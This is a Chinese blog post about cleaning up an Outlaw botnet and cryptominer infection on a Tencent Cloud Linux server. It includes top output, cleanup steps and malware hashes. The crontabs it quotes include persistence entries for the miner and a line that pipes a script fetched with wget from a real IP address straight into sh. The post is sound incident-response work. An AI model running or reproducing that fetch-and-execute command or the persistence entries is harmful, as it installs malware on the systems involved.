Linux【问题记录 02】腾讯云 cron、sshd 进程CPU占用超95%(亡命徒 Outlaw 僵尸网络攻击)问题排查及处理步骤

本文涉及的产品
检索分析服务 Elasticsearch 版,2核4GB开发者规格 1个月
简介: Linux【问题记录 02】腾讯云 cron、sshd 进程CPU占用超95%(亡命徒 Outlaw 僵尸网络攻击)问题排查及处理步骤

《亡命徒(Outlaw)僵尸网络感染约2万台Linux服务器,腾讯安全提醒企业及时清除》 一文得知 kswapd0 是挖矿程序,tsm 是爆破程序【tsm之前见过,占用率不高,还以为是 TencentSystemManager 😠】这次没有 tsm 进程了,看来已经爆破成功 😢

1.开始排查

# 只保留有问题的两个进程【曾经kill过 没在意 之前的cpu占用没有这么高】
[root@tcloud ~]# top
top - 13:55:18 up 21 days,  4:43,  1 user,  load average: 4.52, 4.25, 3.76
Tasks: 285 total,   1 running, 284 sleeping,   0 stopped,   0 zombie
%Cpu(s): 96.7 us,  2.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.7 si,  0.0 st
KiB Mem :  1882020 total,   110312 free,  1209604 used,   562104 buff/cache
KiB Swap:        0 total,        0 free,        0 used.   218676 avail Mem
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 3460 elastic+  20   0  307928 269380      4 S 70.8 14.3 611:32.96 cron
 6011 elastic+  20   0   50476  15104      4 S 24.9  0.8   4:55.06 sshd

查看了一下定时任务:

[root@tcloud ~]# crontab -l
no crontab for root

查看了一下 /var/spool/cron/ 文件夹的定时任务:

[root@tcloud ~]# cd /var/spool/cron/
[root@tcloud cron]# ll
total 12
-rw------- 1 elasticsearch elasticsearch 328 Sep 13 23:19 elasticsearch
-rw------- 1 gpadmin       gpadmin        73 Sep  2 01:55 gpadmin
-rw------- 1 hadoop        hadoop        283 Aug 20 11:57 hadoop
[root@tcloud cron]# cat ./elasticsearch
1 1 */2 * * /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
@reboot /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
#0 */23 * * * /tmp/.X26-unix/.rsync/c/aptitude>/dev/null 2>&1
# 这个明显就是kdevtmpfsi挖矿病毒的定时任务
[root@tcloud cron]# cat ./gpadmin
* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
[root@tcloud cron]# cat ./hadoop
1 1 */2 * * /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/a/upd>/dev/null 2>&1
5 8 * * 1 /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
@reboot /tmp/.X25-unix/.rsync/c/b/sync>/dev/null 2>&1
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

查看了一下阿里云的服务器:

[root@aliyun ~]# cd /var/spool/cron/
[root@aliyun cron]# ll
total 0

2.病毒处理建议

建议企业 Linux 服务器管理员检查服务器资源占用情况,及时修改弱密码,避免被暴力破解。若发现服务器已被入侵安装挖矿木马,可参考以下步骤手动检查、清除:

  1. 删除以下文件,杀死对应进程:
    /tmp/*-unix/.rsync/a/kswapd0
    */.configrc/a/kswapd0 md5: 84945e9ea1950be3e870b798bd7c7559
    /tmp/*-unix/.rsync/c/tsm64 md5: 4adb78770e06f8b257f77f555bf28065
    /tmp/*-unix/.rsync/c/tsm32 md5: 10ea65f54f719bffcc0ae2cde450cb7a
  2. 检查 cron.d 中是否存在包含以下内容的定时任务,如有进行删除:
    /a/upd
    /b/sync
    /c/aptitude

3.详细处理过程

# 1.先删除了 /var/spool/cron/ 下的全部文件
# 2.kill掉【cron】和【sshd】两个进程
# 3.查找定时任务
[root@tcloud ~]# find / -name cron.d
/usr/local/elasticsearch/.configrc/cron.d
/etc/cron.d
  # /etc/cron.d 文件夹下文件【未发现病毒定时任务】
  # 查看/usr/local/elasticsearch/.configrc/cron.d后发现是病毒任务 将其删除 
  [root@tcloud ~]# cat /usr/local/elasticsearch/.configrc/cron.d
  1 1 */2 * * /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
  @reboot /usr/local/elasticsearch/.configrc/a/upd>/dev/null 2>&1
  5 8 * * 1 /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
  @reboot /usr/local/elasticsearch/.configrc/b/sync>/dev/null 2>&1
  #0 */23 * * * /tmp/.X26-unix/.rsync/c/aptitude>/dev/null 2>&1
# 4.查找 kswapd0 相关文件【未找到】
[root@tcloud ~]# find / -name kswapd0
# 5.查找 tsm64 相关文件【未找到】
[root@tcloud ~]# find / -name tsm64
# 6.查找 tsm32 相关文件【未找到】
[root@tcloud ~]# find / -name tsm32

4.总结

感觉上处理的并不彻底,先观察一下 😂

相关实践学习
使用阿里云Elasticsearch体验信息检索加速
通过创建登录阿里云Elasticsearch集群,使用DataWorks将MySQL数据同步至Elasticsearch,体验多条件检索效果,简单展示数据同步和信息检索加速的过程和操作。
ElasticSearch 入门精讲
ElasticSearch是一个开源的、基于Lucene的、分布式、高扩展、高实时的搜索与数据分析引擎。根据DB-Engines的排名显示,Elasticsearch是最受欢迎的企业搜索引擎,其次是Apache Solr(也是基于Lucene)。 ElasticSearch的实现原理主要分为以下几个步骤: 用户将数据提交到Elastic Search 数据库中 通过分词控制器去将对应的语句分词,将其权重和分词结果一并存入数据 当用户搜索数据时候,再根据权重将结果排名、打分 将返回结果呈现给用户 Elasticsearch可以用于搜索各种文档。它提供可扩展的搜索,具有接近实时的搜索,并支持多租户。
目录
相关文章
|
2月前
|
缓存 运维 Linux
Linux系统调优详解(三)——CPU状态查看相关命令
Linux系统调优详解(三)——CPU状态查看相关命令
42 1
|
2月前
|
运维 Linux
Linux系统调优详解(二)——CPU负载查看相关命令
Linux系统调优详解(二)——CPU负载查看相关命令
51 10
|
1月前
|
监控 Java 索引
cpu使用率过高和jvm old占用过高排查过程
cpu使用率过高和jvm old占用过高排查过程
37 2
|
6天前
|
机器学习/深度学习 缓存 监控
linux查看CPU、内存、网络、磁盘IO命令
`Linux`系统中,使用`top`命令查看CPU状态,要查看CPU详细信息,可利用`cat /proc/cpuinfo`相关命令。`free`命令用于查看内存使用情况。网络相关命令包括`ifconfig`(查看网卡状态)、`ifdown/ifup`(禁用/启用网卡)、`netstat`(列出网络连接,如`-tuln`组合)以及`nslookup`、`ping`、`telnet`、`traceroute`等。磁盘IO方面,`iostat`(如`-k -p ALL`)显示磁盘IO统计,`iotop`(如`-o -d 1`)则用于查看磁盘IO瓶颈。
|
1天前
|
Linux
Linux rsyslog占用内存CPU过高解决办法
该文档描述了`rsyslog`占用内存过高的问题及其解决方案。
18 4
|
4天前
|
Linux
Linux(23) Linux 4G模块不能获取IP排查思路
Linux(23) Linux 4G模块不能获取IP排查思路
11 0
|
22天前
|
安全 Ubuntu Linux
Linux远程访问Windows实现步骤
在Windows上启用远程桌面连接并获取IP地址后,Linux用户需安装SSH客户端( Debian系:`sudo apt-get update; sudo apt-get install openssh-client`,RPM系:`sudo yum install openssh-clients`)。然后使用命令`ssh 用户名@Windows_IP地址`连接,其中`用户名`和`Windows_IP地址`按实际情况填写。
16 4
|
30天前
|
Linux Shell 调度
【Linux】进程排队的理解&&进程状态的表述&&僵尸进程和孤儿进程的理解
【Linux】进程排队的理解&&进程状态的表述&&僵尸进程和孤儿进程的理解
|
1月前
|
监控 Linux Shell
Linux 进程问题调查探秘:分析和排查频繁创建进程问题
Linux 进程问题调查探秘:分析和排查频繁创建进程问题
39 0
|
1月前
|
存储 监控 Linux
Linux 使用getrusage系统调用获取cpu信息:一个C++实例分析
Linux 使用getrusage系统调用获取cpu信息:一个C++实例分析
49 0